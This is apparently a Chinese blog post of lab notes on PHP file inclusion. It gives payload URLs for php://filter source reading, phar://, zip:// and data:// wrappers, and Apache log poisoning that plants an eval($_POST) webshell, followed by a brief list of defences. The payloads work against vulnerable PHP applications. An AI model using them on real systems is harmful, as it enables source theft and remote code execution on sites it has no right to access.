8.文件包含实战

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

靶场:
120.27.61.239:8005/source/test/index.php

php://filter/read=convert.base64-encode/resource=include.php

120.27.61.239:8005/source/test/index.php?lang=php://filter/read=convert.base64-encode/resource=index.php

image.png

image.png

php伪协议—— phar://
image.png

靶场:
http://120.27.61.239:8005/source/include2.php?file=a

ascsa.php?file=phar://./c.zip/c.txt ——> 相对路径
phar://E:/phpStudy/PHPTutorial/WWW/01yijing/include/c.zip/c.txt ——> 绝对路径

php伪协议——zip:// bzip2:// zlib://
image.png

image.png

asxcasc.php?file=zip://D:\phpinfo.jpg%23phpinfo.txt

php伪协议——http:// https://

php伪协议——data://

image.png

data://text/plain;base64,<?php phpinfo();?>

Apache——包含日志文件 ——>开启access.log 重启
image.png

·一般apache会存在两个日志文件:
1、访问日志文(access.log)访问日志默认是不开启
2、错误日志文件(error.log)
·apache开启日志功能时 主动记外部访问到access.log
http://120.27.61.239:8005/source/include2.php?file=<?php eval($_POST['zxcv'])?>
记录到日志会转义编码 burp转包 修改为正常 日志里面可以查看到正常地一句话木马
使用本地文件包含 包含access.log文件

adxas.php?file=file://E:/phpstudy/apache/logs/access.log
image.png

防御措施
·设置白名单:代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参 3422927312正在观看视频 数进行比较。 ·过滤危险字符:严格检查用户输入,参数中不允许出现../之类的目录跳转符 ·关闭危险配置:PHP配置中的allow url include选项如果打开,PHP会通过 Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止 打开此选项,PHP默认是关闭的。 ·限制文件包含的路径比如只能包含某个目录内的,PHP配置文件中有open_basedir选项 可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件 ·严格判断包含中的的参数是否外部可控,尽量不要使用动态包含,可以在需要包含的页面 固定写好,如:include('head.php')

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
2月前
|
安全 PHP
文件包含漏洞(一)代码解读
文件包含漏洞(一)代码解读
|
7月前
|
安全 关系型数据库 MySQL
文件包含漏洞利用技术总结
文章讨论了PHP文件包含漏洞及其利用方法,包括远程文件包含、目录遍历和特殊协议利用等安全风险。
75 0
文件包含漏洞利用技术总结
|
存储 安全 Shell
|
安全 关系型数据库 MySQL
代码审计--文件包含
代码审计--文件包含
|
存储 自然语言处理 IDE
【C进阶】——我们写的代码是如何一步步变成可执行程序(.EXE)的?
【C进阶】——我们写的代码是如何一步步变成可执行程序(.EXE)的?
642 0
|
存储 Linux Windows
ELF文件解析和加载(附代码)
ELF文件解析和加载(附代码)
686 0
ELF文件解析和加载(附代码)
|
安全 Shell Linux
7.文件包含
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。
7.文件包含
|
安全 PHP 开发者
文件包含实现|学习笔记
快速学习文件包含实现
文件包含实现|学习笔记
|
安全 PHP 开发者
文件包含区别|学习笔记
快速学习文件包含区别
文件包含区别|学习笔记
|
安全 PHP Apache
文件包含路径|学习笔记
快速学习文件包含路径
文件包含路径|学习笔记